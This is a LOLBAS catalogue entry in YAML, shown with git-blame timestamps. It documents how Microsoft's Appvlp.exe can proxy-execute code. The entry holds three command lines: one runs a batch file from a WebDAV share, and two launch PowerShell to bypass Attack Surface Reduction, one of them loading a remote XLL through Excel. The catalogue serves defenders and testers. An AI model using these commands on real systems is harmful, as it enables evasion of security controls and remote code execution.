LOLBAS/yml/OtherMSBinaries/Appvlp.yml

51 lines
2.1 KiB
YAML
Raw Normal View History

2018-06-09 00:15:06 +02:00
---
Name: Appvlp.exe
2018-09-19 04:35:46 +02:00
Description: Application Virtualization Utility Included with Microsoft Office 2016
2018-06-09 00:15:06 +02:00
Author: ''
Created: '2018-05-25'
Commands:
- Command: AppVLP.exe \\webdav\calc.bat
2018-09-19 05:06:22 +02:00
Usecase: Execution of BAT file hosted on Webdav server.
2018-06-09 00:15:06 +02:00
Description: Executes calc.bat through AppVLP.exe
Category: Execute
2018-09-19 04:35:46 +02:00
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/wiki/Technique/T1218
OperatingSystem: Windows 10 w/Office 2016
2018-06-09 00:15:06 +02:00
- Command: AppVLP.exe powershell.exe -c "$e=New-Object -ComObject shell.application;$e.ShellExecute('calc.exe','', '', 'open', 1)"
2018-09-19 05:06:22 +02:00
Usecase: Local execution of process bypassing Attack Surface Reduction (ASR).
2018-06-09 00:15:06 +02:00
Description: Executes powershell.exe as a subprocess of AppVLP.exe and run the respective PS command.
Category: Execute
2018-09-19 04:35:46 +02:00
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/wiki/Technique/T1218
OperatingSystem: Windows 10 w/Office 2016
2018-06-09 00:15:06 +02:00
- Command: AppVLP.exe powershell.exe -c "$e=New-Object -ComObject excel.application;$e.RegisterXLL('\\webdav\xll_poc.xll')"
2018-09-19 05:06:22 +02:00
Usecase: Local execution of process bypassing Attack Surface Reduction (ASR).
2018-06-09 00:15:06 +02:00
Description: Executes powershell.exe as a subprocess of AppVLP.exe and run the respective PS command.
Category: Execute
2018-09-19 04:35:46 +02:00
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/wiki/Technique/T1218
OperatingSystem: Windows 10 w/Office 2016
2018-06-09 00:15:06 +02:00
Full Path:
- Path: C:\Program Files\Microsoft Office\root\client\appvlp.exe
- Path: C:\Program Files (x86)\Microsoft Office\root\client\appvlp.exe
Code Sample:
- Code:
Detection:
- IOC:
2018-06-09 00:15:06 +02:00
Resources:
- Link: https://github.com/MoooKitty/Code-Execution
- Link: https://twitter.com/moo_hax/status/892388990686347264
- Link: https://enigma0x3.net/2018/06/11/the-tale-of-settingcontent-ms-files/
- Link: https://securityboulevard.com/2018/07/attackers-test-new-document-attack-vector-that-slips-past-office-defenses/
2018-09-19 04:35:46 +02:00
Acknowledgement:
- Person: fab
2018-09-19 05:06:22 +02:00
Handle: '@0rbz_'
2018-09-19 04:35:46 +02:00
- Person: Will
2018-09-19 05:06:22 +02:00
Handle: '@moo_hax'
2018-09-19 04:35:46 +02:00
- Person: Matt Wilson
2018-09-19 05:06:22 +02:00
Handle: '@enigma0x3'
---